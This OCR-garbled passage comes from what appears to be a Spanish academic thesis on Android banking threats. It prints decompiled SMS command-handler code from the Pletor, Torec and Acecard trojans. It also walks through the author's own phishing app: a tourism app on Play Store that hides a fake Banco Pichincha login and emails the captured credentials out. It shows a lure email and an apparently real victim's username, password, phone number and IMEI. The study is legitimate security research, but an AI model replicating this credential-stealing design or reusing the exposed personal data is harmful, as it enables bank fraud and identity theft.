}

private wolid processlInterceptSMSStoplCommand ()

{
Otils.putBooleanValue(this.settings, "INTERCEFTING IMCCMING EMNABLED™, f[false):
Sender.sendRentStatus({this.context, "stocpped™):

1

Figura 8. Cdédigo del procesador de SMS de Trojan-Ransom.AndroidOS.Pletor.a

Otros ejemplos que corroboran los cédigos mostrados anteriormente en los troyanos

bancarios tenemos los siguientes:
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public class SmsProcessor
i
private static HashSet«<3tring> commands = new HashSet():
private final Context context;
private final String data;r
private SharedPreferences settings;

static

i
commands.add ("#intercept _sms_start™);
commands.add ("#intercept_sms_stop”)r
commands.add {"4#ussd™) ;
commands.add ("#check_gps™);
commands.add {"#block_ _numbers™)r
commands.add ("#unblock _all numbers™);
commands.add {("#unblock numbers™) ;
commands.add ({"#listen_sm3_start™):
commands.add ("#listen_sms_stop™):
commands.add {"#check™) ;
commands.add ("#grak_apps™):
commands.add ("#3end_sms") ;
commands.add ("#control_number™)
commands.add ("#sentid™) ;

public SmsProcessor (String paramString, Context paramContext)

i
this.data = paramString.trim();
this.context = paramContext;
this.settings = this.context.getSharedPreferences ("AppPrefisz™, 0)

private boolean hasCommand ()

{

Figura 9. Cdédigo del procesador de SMS del troyano Backdoor.AndroidOS.Torec.a
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public class SmSPFrocessor
{
private static HashSet<String> commands = new HashSet ()
private final Context context;
private final String datars
private final String params;
private SharedPreferences settingsrs

static

{
commands.add ("#intercept_sms_start™);
commands.add ("#intercept_sms_stop™) :
commands.add {"#uassd") ;
commands.add ("#check_gps™);
commands.add ("#block_numbers™) ;
commands.add ("#unblock_all numbers™):
commands.add ("#unblock_numbera™)
commands.add ("#listen_ sms_start™):
commands.add ("#listen sms_stop™);
commands.add ("#check™) r
commands.add ("#grak_appa™);
StringBuilder localStringBuilder = new StringBuilder():
localStringBuilder.append {("#3end™) ;
localStringBuilder.append ("_ama™) ;
commands.add {(localStringBuilder.toString () ) 7
commands.add ("#contrel_number™)
commands.add ("#sentid™) ;
commands.add ("#show_dialog™) ;

public SmSProcessor (String paramStringl, String paramString?, ConteXt paramContexXt)
{

this.data = paramStringl.trim{);

this.params = paramString2;

this.context = paramContextc:

this.settings = this.cocntext.getSharedPreferences ("AppPreis™, 0);

private boolean hasCommand()

{

Figura 10. Cadigo del procesador de SMS de Trojan-Banker.AndroidOS.Acecard.a
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pulxlic class SmsProcessor
i
private static HashSet«<3String>»> commands = new HashSeto () :
private final Context context:
private final String datctar
private SharedPreferences settings:

static

i
commands.add ({"#Fintercept Sm3_Start™) -
commands.add {("#Fintercept sSsm3_stop™) s
StringBuilder localStringBuilder = new StringBuilder():
localStringBuilder.append {("&send™) =
localStringBuilder.append (™_sms™) r
commands.add ({localStringBuilder.toString () ) 7
commands.add ("#cocontrol_ number™) 7

1

pulxlic SmsProcessor (String paramString, ConteXxt paramConteXxt)
i
this.data = paramString.tcrim{)
this.context = paramContext:
this.settings = this.context.getSharedPreferences {"AppPrefzs™, O0) >

1

private boolean hasCommand ()

1

Figura 11. Nuevo codigo

Si nos podemos dar cuenta los tres troyanos bancarios se asemejan de una manera
casi perfecta con muy pocas diferencias, si nos fijamos en los métodos podemos
confirmar que se trata de los mismos piratas informaticos.

#intercept_sms_start — comenzar a interceptar los SMS entrantes;
#intercept_sms_stop — dejar de interceptar los SMS entrantes;

#send_sms — enviar un SMS a nimeros indicados en el comando;
#control_number — cambiar el nimero de control del teléfono.

YV VY

A finales de 2014 se detect6 que una siguiente variante de Acecard usaba la red TOR
para la comunicacion con el servior C&C de manera similar a su antecesor PLETOR, se
encontraron dos diferencias la primera es que habian aumentado a 15 los comandos
comandos teniendo en claro que estos comandoas habian aparecido anteriormente en
el troyano TOREC.

= #intercept_sms_start — comenzar a interceptar los SMS entrantes;

= #intercept_sms_stop — dejar de interceptar los SMS entrantes;

= #ussd — generar una solicitud USSD;

= #check_gps — enviar las coordenadas del dispositivo al C&C,;

= #block_numbers — afiadir nUmeros a la lista de remitentes con SMSs a
interceptar;

= #unblock_all_numbers — limpiar la lista de SMSs a interceptar;

= #unblock_numbers — eliminar los nimeros indicados de la lista de SMSs a
interceptar;

= #listen_sms_start — comenzar a robar los SMS entrantes;

= #listen_sms_start — dejar de robar los SMS entrantes;

= #check — enviar la identificacion del troyano al C&C;

= #grab_apps — enviar una lista de aplicaciones instaladas en el dispositivo al
servidor C&C;
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= #send_sms — enviar un SMS a los nimeros indicados en el comando;

= #control_number — cambiar el nimero de control del teléfono;

= #sentid — enviar un SMS con la identificacion del troyano al nimero indicado;

= #show dialog — mostrar una ventana de didlogo con objetos especificos
(campos para ingresar datos, botones, etc.) segun las 6rdenes del servidor
C&C.

Por su arte la segunda diferencia serian la cantidad de ventas fraudulentas que se
realizaron en la tienda oficial de GOOGLEPLAY STORE en la que el troyano superponia
ventanas con las siguientes aplicaciones:

Please enter your new country code
and phone number:

new phone number

Figura 12. Servicio de mensajeria para WhatsApp, Viber, Instagram, Skype.
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ew phone number

Figura 14. El cliente de gmail
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Figura 15. El cliente oficial de Twitter

Para mediados de 2014 ACECARD ya no usaba TOR y a partir de ese momento ninguna
version siguié utilizadndolo, a partir de esa version hubo cambios muy significativos ya
gue el troyano en versiones anteriores solo se centraban en atacar a usuarios de Rusia
por lo que a partir de octubre de 2014 los ataque se esparcieron en gran cantidad a otros
paises como Australia Alemania y Francia, para entonces Rusia solo recibio el 10% de

ataques. Esto hasta febrero de 2015.

Por el mes de Noviembre de 2014 se descubrié una nueva modificacion de este troyano
ACECARD, la variante robaba las contrasefias de clientes en redes sociales populares,
también comenzé a superponer una ventana fraudulenta sobre la aplicacion de uno de
los bancos mas famosos de Australia pasaron dos dias y este troyano ya estaba

atacando aplicaciones de cuatro bancos australianos.

Se sabe que la funcionalidad del troyano denominado  Trojan-

Banker.AndroidOS.Acecard se ha mantenido hasta la Gltima version.
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6.2.4. Tabla de Técnicas mas utilizadas

Tabla 9. Técnicas

Lista de técnicas mas utilizadas
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6.3. Fase 3 Demostracién de un caso practico con respecto al hurto de
informacion en la Plataforma ANDROID.

Para llevar a cabo la ejecucion de la técnica Phishing en ANDROID se tomé como
referencia los ataques a esta plataforma que constan de un 95% segun[47], que hace
mencion a la increible forma de introducir malware a dispositivos moviles con sistema
operativo ANDROID, con el fin de manipular la terminal y hurtar informacién de los

usuarios.

A lo largo de la investigacién se logré llegar a la conclusién que la técnica de Phishing
es la que mas se utiliza para meter malware en los dispositivos moviles a diferencia de
la inyeccién basada en HTML5 y la inyeccion del troyano ACECARD ya que por medio
de la misma, ya que los atacantes pueden ofuscar cédigo engafiando a la PlayStore y
por ende al usuario una vez que descargue e instale el aplicativo. En la siguiente tabla
se puede apreciar el porcentaje de ataques de acuerdo a las técnicas aplicadas por los
piratas informéaticos.

Técnicas mas utilizadas para el hurto de Informacion
Técnica AfRo Porcentaje
PHISHING BANCARIO Primer trimestre 2016 80%
INYECCION HTML5 2015 - 2016 13%
INYECCION TROYANO ACECARD 2016 7%
TOTAL 100%

En la siguiente tabla se puede apreciar el porcentaje de técnicas que mas utilizan los
cibercriminales para hurtar informacion a usuarios de dispositivos moviles con sistema
operativo ANDROID, en primer ligar esta con un 80% la técnica del Phishing que es la
mas utilizada, seguida de la Inyeccion basada en HTML5 con un 13% y en constante
crecimiento y finalmente la Inyeccion del troyano ACECARD con un 7%, que esta

poniéndose de moda con ataques que son certeros hacia los usuarios ANDROID.

Para la realizacion de la practica llevo a cabo el siguiente procedimiento:
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6.3.1. Instalacion Android Estudio

Para la instalacién de Android Studio se necesita una conexion a internet y descargar el
paquete de instalacién desde la pagina oficial de descarga

https://developer.android.com/studio/index.html?hl=es-419 Instalacion SDK Android.

Una vez instalado el Android Studio se procede a instalar el SDK con compatibilidad
para dispositivos desde la version 4.0.3 compilacion 15, esto se realiza de modo
automético a lo que corremos el Android estudid, se debe instalar todos los soportes
para las versiones hasta las mas actuales y las herramientas extras que se encuentran

en el SDK que nos permiten mejorar la depuracion.
6.3.1. Creacion de una interfaz de usuario igual a la del banco pichincha
Se debe desarrollar los componentes personalizados para la interfaz.

Crear un Layout: Se crea aqui la interfaz con los componentes necesarios para luego
proceder a modificar cada uno de ellos y dejar la apariencia lo mas parecida a la que
pretendemos vulnerar.

File Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help
OHO ¢ Mol QR & A [Czape~] p & G Rl = N S QF
Hacker [iapp ' [Jsrc [imain  [sres [F1layout  © content banco pichincha_ecaml
Project Files € & | #- |~ | (€ BancoPichinchaEcjava % | [ content_banco_pichincha_ecxml * ~=2 | Preview *-
g —
g 2pp RelariveLayout | Lineariayou | anarota. support.v7.widger Ceraview [ Batcon | 4 [H E E O Onewss- sz~ Pnoadionsar z
= manifests - oTfcoloTEaLText" b . H
r jova : @ E Qxx@E ¥ O |2
a
comunlhacker avable/style_text view" /> - §
¥ tra <android. support Cardview 3
€ o android:layout_width="match_parent" =
H {ntertez i cardCornerRadius="7dp"
= reciver o]
senvice 2
0 © b Servicioksp c H
i id:layout_height="1
£ vista - - Ingrese sus datos &
§ com.unlhacker (androidTest -
- android:layout_width="match parent” H
com.unlhacker (test androidspaddinglef t="10dp" ]
ssets android:paddingTep="4dp"
res ¢ android: 1d=Hg+1d/btn_cl
drawabl
layout
S activity_banco_pichinchaxml e
& activity_banco_pichincha_ecaml -
2 S activity_mainxml
S S app_bar_bance_pichincha_ecxml
2 & content_banco_pichincha_ecxml
a S nsv_hesder_banco_pichincha_ecaml </android.support .v7.widget . Cardviews
menu <LinearLayout L3
mipmap z
1 2
g values H
=  Gradle Scripts z
Ry 2 build.gradl 1\ Fidelity wamings (show] 2
- Design | Text 3
bl azadl
P &Run & itor [ Terminal | 5|0 Messages Eventlog  [=] Gradle Console
[ Gradle build finished in 55 264ms (6 minutes ago) 11145 CRLFS W @

Crear un Recurso Drawable: Se crea personalizacion de componentes para luego

usarlos en el componente y dejar lo mas parecido a la original.
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Figura 17. Alarma servicio

6.3.2. Creacion de una Alarma para despertar el servicio de comunicacion

Se crea una alarma programada para que se lance el servicio y este a su vez lance una
alerta al usuario para que este entre a la aplicacion de banco de pichincha y asi extraer

las credenciales.

6.3.3. Creacién de un Servicio con comunicacién a lainterfaz de usuario

El servicio es el encargado de enviar los datos al correo del espionaje ademas es el que
se encarga de enviar las alertar al usuario de los diferentes escenarios propuestos para
que el usuario se vea motivado a ingresar en el sistema y el aplicativo pueda enviar los

datos al correo.

6.3.4. Creacion de notificaciones emergentes para el mostrar al usuario

Cuando el servicio detecta conexion a internet y que es cliente de banco pichincha es
decir que tenga instalada la aplicacion del banco pichincha este procedera a enviar las
notificaciones respectivas par que la victima ingrese sus datos y estos puedan ser

enviados al correo.
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Llamadas Mensajes de texto  Datos mdviles

BsIM1 BsSIM1 BsIM1

Banco de Pichincha 12:26 PM
Informa que por politicas de seguridad actualice
sus datos.

NOTIFICACIONES

CNT | Movistar
Figura 18. Falsa notificacion de la banca movil

6.3.5. Creacion de unainterfaz para el usuario para visualizar sitios de interés de

Vilca bamba

Se cred un WebView en Android que permite la navegabilidad en Android de una pagina
web que servirhd como pantalla para poder hacer uso de fishing, que se encuentra por

debajo.

San Pedro de
Vilcabamba

Parroquia Rural del cantén Loja, que
tiene mucho turismo por descubrir

= MENU

Turismo

TURISMO

=m 1
= DEJA

a Seguir  sss

Figura 19. Sitio web Conoce Vilcabamba
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6.3.7. Subir a PlayStore

4+ Se requiri6 comprar una cuenta en Play Store.
4+ Luego subir el APK ha versién de produccion para la revision y autorizacion para

publicacion.

=

Subir las imagenes de promocional el tamafio es de 512 x 512.

=

La imagen principal de igual forma del promocional que son de 1024 x 500.

4+ Se envia a revision para subir a produccién y publicar. Tener en cuenta que
siempre se debe cumplir con todos los lineamientos que dicte Play Store ya que
si infringe cualquier parametro de su reglas directamente sera rechazada la

aplicacion.

Demostraciéon

Como requisitos para realizar el Phishing para la sustraccion de datos en ANDROID, es
necesario que la victima tenga instalada la aplicacion del Banco Pichincha, como se

aprecia en la siguiente imagen.

© T .il&410PM

470

Vie, 2 Enero

Correo Camara Banca Play Store
Movil

[K] 2] & % i

Teléfono Contactos Mensajes Internet Aplic.

Figura 20. Aplicacion Banca Pichincha instalada en el Teléfono

Tener el correo de la victima para poder enviarle el link de descarga que lo redirigira a
la Playstore donde obtendra la aplicacién denominada Conoce Vilcabamba, la misma

gue tiene el malware escondido para hurtar la informacién del usuario.
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C () | @ Esseguro | https://play.google.com/store/apps/details?id=com.unl sitic
B Google Play =a

& Aplicaciones Categorias v Iniio  Méspopulares  Novedades

Mis aplicaciones
Tienda

. Conoce Vilcabamba
isgos John Patricio Solano Cabrera  Viajes y guias
Familiares

® Para todos
Seleccion de nuestros

expertos SeValle de la
Cuenta

Yongevidad
Canjear b S u

Mi lista de deseos

Mi actividad de Play

Guia para padres 2ot ~
S Aoy

San Pedro de San Pedro de
Vilcabamba Vilcabamba
e e e pos dermhy i g rd gkl b - TNe e >
I - [ |
Turismo 1,2/3/4/5 67,89 Ga
‘ aiwelritlyluliiolp
alsid figh jik I8

o6

Figura 21. Sitio web desde PlayStore

Ahora se procede a enviar el link de descarga a la victima como se muestra en la figura

a continuacion.

CONOCE VILCABAMBA descarga AQUI LA Aplicacién y conoce lo mejor que ofr... _

ddherreral@unl.edu.ec
CONOCE VILCABAMBA descarga AQUI LA Aplicacion y conoce lo mejor que ofrecemos

no te pierdas las mejores cosas que ofrece VILCABAMBA. Descarga la aplicacion y forma
parte de esta gran tierra de Longevos.

No te pierdas lo mejor que ofrece Vilcabamba ven a VISITARNOS
https://play gooale com/store/apps/details?id=com unl. sitiosvilcabamba

m A 0 S @ e @ Suardado W -

Figura 22. Link a enviar a las victimas

Asi se muestra el correo de la victima al momento que le llega el mensaje con la

aplicacion a descargar.
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| NN - = 0 Ll 2% 17:50

=  Bandejade entrada Q

La sincronizacion automatica esta
desactivada. Presiona para activar esta
opcion.

No te pierdas lo mejor que ofrec... 3.7

Linkedin 05:03
¢Conoces a Stalin UNL, a Joe...
Domingo Herrera A continuacio... 3¢

daniel herrera 17:48
CONOCE VILCABAMBA descar... .

Google 01:01
Nuevo inicio de sesion desde...
Nuevo inicio de sesion desde Sa... 3¢

Mendeley eb 1
Mendeley Newsletter
Latest news from the Mend
Figura 23. Correo electronico que visualiza la victima

Al hacer clic en el correo vamos a visualizar lo siguiente.

T B .al s2% & 18:08

CONOCE VILCABAMBA
descarga AQUI la Aplicacion /¢

Bandeja de entrada

daniel herrera -~
para mi

17:48 Ver detalles

eee

No te pierdas lo mejor que ofrece Vilcabamba
ven a VISITARNOS
https://play.google.com/store/apps/details?
id=com.unl.sitiosvilcabamba

- <= =»
Responder Responder a Reenviar
todos

Figura 24. Link para descarga de aplicacion

En esta pantalla es lo que la victima va hacer clic en el enlace para instalar la aplicacion,

la cual va a redirigir a la tienda Playstore como se muestra a continuacion.
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R TR .l 63%i4 18:12

< Google Play Store Q

W Conoce Vilcabamba
: % John Patricio Solano Cabrera
o

INSTALAR

@ O

Viajes Similares

] ) ~ Conoce Vilcabamba es una ]
Figura 25. Aplicacion en PlayStore antes de su instalacion

La victima va hacer clic en instalar sin saber que se esta instalando por detras de la
aplicaciéon un servicio que no fue detectado por el Bouncer de Google demostrando
hasta ahi la vulnerabilidad de la plataforma.

Como siempre antes de instalar cualquier aplicacion en android se muestra la

informacion a la que la aplicacion va acceder como se muestra a continuacion.

= Jll 624% k4 18:16

®¥™& Conoce Vilcabamba

requiere acceso a

ID de dispositivo y
datos de la llamada

Permite que la aplicacién
determine el nimero de
teléfono y los ID de
dispositivo, el niumero remoto
conectado por una llamada y
si se trata de una llamada
activa.

Figura 26. Permisos antes de instalar la aplicacion
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Ahora bien la victima acepta y comienza la descarga y posterior instalacion de la

aplicacion como se denota en la siguiente imagen.

= .l 65%¢d 18:19

< Google Play Store

e o ; %

W Conoce Vilcabamba

John Patricio Solano Cabrera
S=—Valle de la
Yengevidad ﬁ Todos

768 KB/3.72 MB 20% X

& &

Viajes Similares

Conoce Vilcabamba es una

Figura 27. Instalando aplicacion

Una vez acabada de instalar el servicio por detras ya esta haciendo su trabajo, la victima
va abrir la aplicacion y se dara cuenta que puede visitar muchos lugares en la aplicacién
CONOCE VILCABAMBA, para después de un tiempo prudente para el caso media hora
se notifique en su teléfono que por politicas de seguridad debe actualizar sus datos y no

levantar sospecha como se muestra en las siguientes imagenes.
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San Pedro de
Vilcabamba

Parroquia Rural del canton Loja,

que tiene mucho turismo por
descubrir

= MENU

Autor: San Pedro de
Vilcabamba Turistico y

Cultural
Seguir

Figura 28. Aplicacion instalada en el teléfono

1 830 jue, febrero 2 -a-
= Q w0 B kR

Wi-Fi Ubica- Sonido FPantalla gy oiooth
cion rotacion
-n— [ |
Exterior

NOTIFICACIONES Eliminar

Conectado como disposit..
Pulse para ver otras opciones USB

Chrome
Cerrar todas las pestafas de incégn..

Banco de Pichincha 18
E==Y politicas de seguridad

Figura 29. Falsa Notificacion al usuario

Al hacer clic en la notificacion se nos abrira la siguiente pantalla que muestra que el

usuario debe verificar los datos de su cuenta, redirigiéndolo a la interfaz falsa pero a su

vez idéntica a la original como se puede apreciar en las siguientes imagenes.



Informacion

Por politicas de seguridad por

favor ingrese a su banca movil
para verificar datos de ingreso.

CANCELAR ACEPTAR

Figura 30. Supuesto mensaje de politicas de la banca movil Pichincha

= BANCO PICHINCHA

Ingrese sus datos

USUARIO BANCA ELECTRONICA

[Ej: Usuario10]

CLAVE BANCA ELECTRONICA

[Ej: Contrasenal?2]

NUMERO CULULAR BANCA ELECTRONICA

[Ej: 0987654321]

ASIGNE UN NOMBRE A SU DISPOSITIVO

[Ej: IphonePedro]

SIGUIENTE >

Figura 31. Falsa interfaz de la banca Electronica

Ahora es cuando el usuario ingenuo va a ingresar los datos en la aplicacion para
su posterior verificacion sin darse cuenta de lo que va hacer, ahora la victima va
a llenar los datos de la banca electronica que seran llevados hacia el atacante

como se puede apreciar.
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= 0 Lal 73k 18:43

= BANCO PICHINCHA

Ingrese sus datos

USUARIO BANCA ELECTRONICA

RocioDelPilarH1970 J

CLAVE BANCA ELECTRONICA

NUMERO CULULAR BANCA ELECTRONICA

0956823458 ]

ASIGNE UN NOMBRE A SU DISPOSITIVO

Rocio Herrera | ]

SIGUIENTE >

Figura 32. Datos reales de la victima

Cabe mencionar que en los campos de la interfaz falsa estan validados para sustraer

datos reales de la victima.

Ahora al hacer clic en siguiente los datos ingresados serdn enviados al correo del
atacante, pero para no levantar sospecha luego de hacer clic en siguiente se mostrara
el siguiente mensaje, en el que al hacer clic se re direccionara a la aplicacion original

sin levantar sospechas.

= 0 .al 72% (2 18:46

Informacion

Por seguridad ingrese
nuevamente sus datos.

ACEPTAR

Figura 33. Mensaje que redirecciona hacia la interfaz original de la Banca Movil
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— (71%) BANCO PICHINCHA
—

USUARIO BANCA ELECTRONICA

[Ei: Usuario10]

CLAVE BANCA ELECTRONICA

[Ej: Contrasenai?2]

NUMERO CELULAR PARA BANCA MOVIL

[Ej: 0987654321]

ASIGNE UN NOMBRE A SU DISPOSITIVO

[Ej: IphonePedro]

¢Usuario nuevo? Registrese ahora

Figura 34. Interfaz original de la Banca Movil Pichincha

Ahora una vez enviado estos datos la alarma deja de funcionar, es decir ya no va a

notificar al usuario que actualice sus datos de la banca electrénica.

En la siguiente imagen se puede apreciar los datos sustraidos por el atacante veridico.

Google KN

Gmail ~ - a o

VICTIMA | Recibidos &

Recibidos (2)

m
[ §
1
L 4
‘
£
[l

dddherreral@gmail.com

Destacados para mi |~

Enviades Usuario:RocioDelPilarH1970
PassWord:Ropijerlo 123456

Borradores (2) Mumero Celular 0956823458
Nombre Dispositive:Rocio Herrera

Mas - IMEI:355254076121346

Operadora: CLARD

adaniel - +

- Haz clic aqui para Responder o para Reenviar

0GB (0%) ocupados de 15 GB Condiciones - Privacidad
Administrar

No hay chats recientes
Iniciar uno nuevo

Figura 35. Datos reales capturados de la victima
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Comparativa

Al realizar la presente investigacion se puede apreciar los resultados de las primeras
fases, que las vulnerabilidades estan presentes en el sistema operativo ANDROID, por
lo que los atacantes se apoyan en diferentes técnicas para poder violentar la seguridad
de esta plataforma, centrandose especificamente en el hurto de informacién de usuarios
ingenuos gue tienen poca experiencia al utilizar teléfonos inteligentes, por ejemplo hay
clientes bancarios que realizan transacciones desde su dispositivo movil sin ser
consientes en algunos casos que pueden ser victimas de un Cyber criminal, el cual
puede estar aplicando algin mecanismo para acceder al teléfono como es el caso del
denominado Phishing para ANDROID que se lo detall6 anteriormente.

Con respecto a la inyeccion, los atacantes se dan formas para introducir malware en los
dispositivos maviles, aqui hay una seria vulnerabilidad en la plataforma mencionada ya
gue el pillo informético puede descargar una ROM de cualquier terminal para editarla
utilizando diferentes formas, una vez editada subirla en alguna pagina o blog para que
usuarios la descarguen y la instalen en sus equipos (cabe mencionar que estas ROMs
necesitan que el teléfono este con acceso de super usuario ROOT para poderse instalar
en algunos SMARTPHONES). Por lo que con respecto a la inyeccion hay vulnerabilidad

en el sistema operativo y el atacante puede usar una técnica para violentar es seguridad.

En la presente tabla se muestra la vulnerabilidad encontrada y la técnica que a esta se
asocia, es decir las técnicas que puede utilizar el atacante para hacer cumplir la

vulnerabilidad.

Tabla 11. Comparativa Vulnerabilidades y Técnicas

Vulnerabilidad Comparativa Técnica Asociada

Permisos en Aplicaciones

Tapjacking (pantallas
emergentes)
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7. DISCUSION

FASE 1

Principales Hallazgos encontrados en la FASE 1

Los resumenes obtenidos en el andlisis de los papers obtenidos en la fase 1, en las
distintas busquedas realizadas referentes a vulnerabilidades, estan enumerados y
representados con el acronimo S00, que hace hincapié de cada uno de los 18 trabajos
encontrados.

e Lo que refleja [SO1] es el desenfrenado incremento de usuarios moviles por las
grandes prestaciones que brindan los teléfonos inteligentes con Sistema Operativo
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ANDROID para realizar tareas en linea (pagos o compras, transacciones, noticias,
juegos, etc.) y con esto el cambio en la rutina de los usuarios que ha afectado de
manera positiva y negativa a nivel mundial en términos de educacion salud, historia,
banca electrénica y muchos factores mas que ya son conocidos por los usuarios.
[S02] menciona el creciente desarrollo de teléfonos inteligentes y con ello el uso que
los usuarios les dan a los mismos para realizar tareas en linea, especificamente
transacciones bancarias, también sefiala algunos tipos de vulnerabilidades a las que
los usuarios estan expuestos como (DDOS) denominada la tercera amenaza mas
alta segun el FBI, en la que el atacante hace el papel de red para el escaneo de
puertos abiertos y con ello perpetrar el hurto de informacién, ademas también se
hace menciéon a otras vulnerabilidades como el malware (software malicioso),
Spoofing de TCP-IP en la que el pirata obtiene acceso al teléfono de una manera no
autorizada, puertas traseras instaladas por los mismos desarrolladores,
modificaciones en aplicaciones, pedazos de cddigo espias (exploits) y la conocida
ingenieria social con troyanos bancarios. Por la falta de seguridad en los servidores
los atacantes pueden hacer contacto con datos no cifrados; ademas menciona
algunos protocolos que utilizan los teléfonos inteligentes para la seguridad de la
informacion, existen también algunos algoritmos de cifrado que se usan en el flujo
de datos de los mdviles y un método de seguridad para sistemas bancarios en el
gue destaca la autenticacién y la autorizacion.

En [S03] se entiende con claridad la vulnerabilidad que existe al utilizar diferentes
nubes para gestionar informacion del usuario, por lo que se hace referencia a cuatro
de ellas como son (OneDrive, Box, GoogleDrive y Dropbox), que al ser utilizadas en
diferentes dispositivos ANDROID e 10S, es facil recuperar informacién utilizando
técnicas Forenses basadas segln este articulo en la Guia forense de NIST 10y el
marco forense de cuatro pasos de Martini, demostrando como se puede recuperar
informacién de dispositivos moviles dependiendo de su version de sistema operativo
(ANDROID versién 2.2.2 e 10S version 4.3.5), esta informacién queda grabada en
diferentes archivos de la memoria interna del teléfono independientemente si se lo
restablece al dispositivo para su posterior recuperacion, mostrando todo un historial
de gestion de tareas realizadas por el usuario en su momento.

En cuanto a los permisos que el usuario da a las aplicaciones ANDROID, [S04]
encuentra la normal, la peligrosa, la firma y la de sistema, de las cuales la categoria
peligrosa es la que esté asociada a las aplicaciones bancarias en la que los usuarios

podrian dar permiso ingenuamente sin saber del riesgo que corren al ser
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interceptados sus datos por atacantes. En definitiva hay diferentes tipos de permisos
gue los usuarios pueden dar a las aplicaciones méviles ANDROID, cada permiso
con un grado de peligro en cuanto a la fuga que se puede originar por mal uso de
los mismos, causando severos dafios al instalarse aplicaciones dafinas en los
dispositivos inteligentes.

Asi mismo se menciona en [S05] la gran habilidad que tienen los piratas informéaticos
para introducirse a los teléfonos inteligentes utilizando técnicas sofisticadas (hasta
la version ANDROID 4.4) para el hurto de informacién, para ello utilizan el
denominado ataque de tapjacking que es explotado por el Android/BadAccents, que
consiste en la superposicion de ventanas clonadas que aparecen en la pantalla del
dispositivo, y que piden ingresar datos personales para una actualizacion requerida
por el sistema operativo con el fin de obtener permisos de super usuario (ROOT),
cabe mencionar que introducen este malware a los SMARTPHONES por medio de
mensajes de texto burlando la seguridad se servidores en lo referente a interceptar
mensajes o llamadas de voz.

En [S06] se detalla el acceso que tienen las aplicaciones méviles a los diferentes
tipos de datos que el usuario tiene instalado en su teléfono inteligente, como
informaciéon muy privada (cuentas de bancos, contrasefias etcétera) para ello se
hace mencion de una aplicacion denominada ASTRAEA que se encarga de la
mitigacion de vulnerabilidades en la fuga de informacién, la cual cuenta con su
propio proxy de seguridad, lo que hace muy seguro el flujo de datos segun la
aplicacion examinando la informacion que transcurre de extremo a extremo.

En el trabajo del [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] se hace referencia a las
vulnerabilidades mas comunes que se dan segin OWASP que mantiene informada
a la comunidad sobre nuevos estudios de vulnerabilidades en la plataforma
ANDROID.

En el trabajo [17] se destacan el uso de los teléfonos inteligentes a nivel mundial,
debido a sus prestaciones bancarias entre otras, a su vez clasifica las amenazas
como (amplias, de teléfono a teléfono, y en linea), también cita que la mayoria de
malware se encuentra en google y la plataforma Android. En consecuencia explica
que los usuarios méviles aumenta dia tras dia por lo que pueden ingresar en
cualquier instante a la banca movil a realizar diversas tareas, esto conlleva a que los
atacante ingenien nuevos métodos (troyanos mas sofisticados y malware en general

como las formas de introducirlos a los SMARTPHONES) para conseguir burlar la
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seguridad de dichas entidades bancarias, asi mismo recomiendan las
actualizaciones debidas en sus equipos.

e Los autores del trabajo [18] enfatizan en la seguridad en las aplicaciones moviles y
para ello hacen referencia a un estudio basado en mineria de BLOG (método blog
mining) que se trata de la busqueda de blogs que contengan informacion sobre
seguridad de aplicaciones de la banca movil, encontrdndose con muchas
coincidencias como amenazas y vulnerabilidades (troyanos, rootkits y virus),
phishing como redes wifi inseguras; y con estas una gama de contramedidas como
cifrado de datos, antivirus actualizacion de aplicaciones, entre otras. También nos
hablan de algunos malwares como: Zitmo, Banker, Perkel / Hesperbot, Wrob,
Bankum, ZertSecurity, DroidDream y Keyloggers. En lo referente a amenazas de
aplicaciones ajenas estas alteran de manera secreta una aplicacién bancaria por lo
que el autor recomienda la constate actualizacion de las aplicaciones de fuentes
fidedignas, otra enorme vulnerabilidad encontrada es el famoso phishing que se trata
de aplicaciones fraudulentas (clones de aplicaciones), redes WIFI sin cifrar en
lugares populares lo que permite al atacante vulnera estas redes debido a su débil
seguridad y finalmente la ingenieria inversa. Por su parte recomiendan integrar
seguridades moviles a base de biometria asi como tecnologia inteligente a base de

monitoreo en aplicaciones de banca movil.

FASE 2

En esta fase se encontraron las técnicas mas frecuentas con las que los cibercriminales
realizan sus fechorias a nivel informéatico para el robo de datos de los usuarios moviles
ANDROID.

Como principal técnica tenemos el denominado Phishing Informético que basicamente
constituye en hacerle creer a la victima que esta utilizando una interfaz de usuario real,
en la que de manera ingenua introduce sus datos personales como nombres de
usuarios, contrasefias, numeros de teléfono, entre muchos otros datos, sin darse cuenta
gue el delincuente informatico esta capturando todos sus datos para utilizarlos de forma
indebida, ocasionando pérdidas econdmicas al usuario o de otras indoles como
suscripciones a mensajes Premium, en las que el usuario cancelara sin darse cuenta

cantidades de dinero por supuestamente utilizar estos servicios.

La técnica del Phishing Bancario se esta poniendo de moda, ya que la creciente acogida

que tienen los dispositivos moviles con Sistema Operativo ANDROID por parte de los
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usuarios cada dia es mas y por ende el uso de aplicaciones bancarias o cualquier otra
aplicacion que tenga que ver con transacciones bancarias, por ejemplo comprar juegos
en Playstore o el simple ejemplo de pasar a la siguiente fase en alguna aplicacién, se
tenga que comprar, en otras palabras realizar una transaccién bancaria. Estas formas
de pago en ANDROID son las que el delincuente informatico utiliza para aplicar

ingenieria social y a la vez el denominado Phishing bancario.

FASE 3

Para la demostracion se utilizé la banca mévil Pichincha para mostrar con qué facilidad
se puede extraer los datos de muchos usuarios del Banco del Pichincha, asi también se
puede obtener de diferentes bancas electronicas como puede ser la Banca mavil del
Banco de Guayaquil, simplemente realizando cambios en el cddigo fuente de la

aplicacion (cédigo malicioso).

Con respecto a los resultados de esta fase se puede evidenciar en la explicacion de la
fase dos como usuarios ingenuos pueden ser victimas de Phishing para ANDROID,
por ejemplo en esta investigacion se capturo los datos reales de un usuario que se
dej6 llevar por la astucia en este caso del investigador; ahora estos datos capturados

pueden ser mal utilizados por el delincuente informético.
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8. CONCLUSIONES

+ Las vulnerabilidades en la plataforma ANDROID estan presentes en la
actualidad, especialmente en los dispositivos; por lo tanto, es vulnerable a
muchas formas de introduccion de malware y otras formas perpetradas por el
pirata informatico.

+ Las técnicas mas utilizadas para hurtar informacion por parte del pirata
informatico son el Phising Bancario, Inyeccion basada en HTLM5 y la inyeccion
basada en el troyano Acecard.

+ La plataforma ANDROID conjuntamente con GOOGLE son vulnerables a
ataques informaticos, debido a su bajo control del cédigo fuente de los
aplicativos, pudiendo introducir malware en aplicaciones comunes.

+ La plataforma ANDROID es la mas atacada por piratas informaticas en
comparacion con otros sistemas operativos méviles como I0S y Windows Phone

que es baja la cantidad de ataques.
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9. RECOMENDACIONES

*

